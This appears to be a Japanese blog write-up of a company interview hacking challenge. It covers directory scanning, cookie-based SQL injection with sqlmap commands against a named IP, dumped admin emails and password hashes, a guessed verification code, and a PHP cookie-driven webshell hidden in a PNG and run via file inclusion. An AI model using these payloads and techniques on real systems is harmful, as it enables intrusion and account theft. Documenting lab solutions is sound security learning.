banner
lca

lca

真正的不自由,是在自己的心中设下牢笼。

某某会社の面接実戦問題を記録する

朋友の面接で、実戦問題が送られてきました。公開されている同じ問題をインターネット上で見つけたので、ここに記録します。

問題のリンクを開くと以下のようになります:

Untitled

about ページをクリックすると、いくつかのヒントが表示されます。

Untitled

ディレクトリスキャンを行う必要があるとのことです。dirsearch を使用してディレクトリスキャンを行った結果、いくつかのファイルが見つかりました。

Untitled

robots.txt を訪問して、機密情報があるか確認します。

Untitled

/1234 というヒントが表示されますが、アクセスすると 404 エラーが表示されます。

Untitled

このウェブサイトでは robots.txt が変更されており、友人の面接のターゲットマシンの robots.txt ファイルから、内容が Company_admin/login.php であることがわかりました。これはこのウェブサイトのバックエンドです。

Untitled

バックエンドではメール、パスワード、4 桁の認証コードが必要です。シンプルなブルートフォース攻撃を行った結果、このページではリフレッシュごとに認証コードが変わるため、フォームのブルートフォース攻撃は不可能です。

面接のターゲットマシンの about.php ページには、sqli というヒントがあり、明らかに SQL インジェクションの脆弱性があることがわかります。

ホームページのブログをクリックすると、id というパラメータがあることがわかり、SQL インジェクションが可能かどうかを試してみます。

Untitled

ここで、「私のパスワードについて」というヒントが与えられました。

SQL インジェクションを利用するために、sqlmap を使用してみましたが、直接利用することはできず、コンテンツを取得することができませんでした。

テストの結果、インジェクションポイントは cookie に存在することがわかりました。

Untitled

3 と 4。

Untitled

sqlmap を直接実行します。

sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog --tables

Untitled

5 つのテーブルが存在します。

テーブルの内容を読み取ります:

sqlmap -u "http://47.114.90.165:21001/single.php" --cookie "id=6" --level 2 -v 3 -D hs_test_s1_blog -T admin –columns

Untitled

admin のフィールドを実行すると、エラーが発生し続けるため、手動でインジェクションを行いました。

Untitled

5 つのアカウントが得られました:

2020-08-08 20:16:55:fakeaddr@gmail.com:e69dc2c09e8da6259422d987ccbe95b5
2021-10-19 01:44:56:123@qq.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 02:53:01:qwe@gmail.com:fcea920f7412b5da7be0cf42b8c93759
2021-10-19 23:41:40:qian@gmail.com:e10adc3949ba59abbe56e057f20f883e

[email protected]の平文パスワードは asdqwe123 です。

Untitled

残りは 4 桁の認証コードです。ブルートフォースはできないので、about ページのヒントに「いくつかの社会工学」とありました。

面接のターゲットマシンのブログには、2 つの記事があり、1 つは自分の誕生日おめでとうというもので、誕生日の日付が書かれています:2019-10-27。

Untitled

試してみると、1027 でログインに成功しました。

ログイン後の画面は以下のようになります:

Untitled

ブログの投稿作成の場所には、アップロードポイントが存在し、テストの結果、この場所はホワイトリストであり、拡張子が画像形式のみ許可されています。

Untitled

ファイルインクルージョンの脆弱性が存在するかどうかを確認し、直接画像マルウェアを含めてコマンドを実行します。

access-language の場所には、非常に馴染みのあるパラメータ「?template=」があります。

Untitled

直接ファイルインクルージョンを行うことができます。絶好の機会です。画像マルウェアを準備します。

Untitled

画像マルウェアを作成し、php ファイルと png ファイルを用意します。

cat 1.php >> 1.png

テストの結果、このターゲットマシンでアップロードされたウェブシェルは、GET または POST リクエストで接続することはできず、SQL インジェクションと同様に、cookie パラメータを使用して接続し、コマンドを実行する必要があります。

まず、次のようなバックドアファイルを準備します。

<?php system($_COOKIE['a']);?>

そして、上記の方法で画像マルウェアを作成し、以下のような画像が生成されます。

Untitled

ブログ作成の場所に戻り、画像マルウェアをアップロードします。

Untitled

アドレスは upload/0c3459ff68c1495cefc557f0084a2ac6.png です。

ファイルインクルージョン:http://47.114.90.165:21001/Company_admin/language.php?template=../../upload/0c3459ff68c1495cefc557f0084a2ac6.png

Untitled

このリクエストを Burp でキャプチャし、cookie の場所でコマンドを実行します。

Untitled

フラグを探し始めます。

Untitled

フラグを見つけることができました。

Untitled

読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。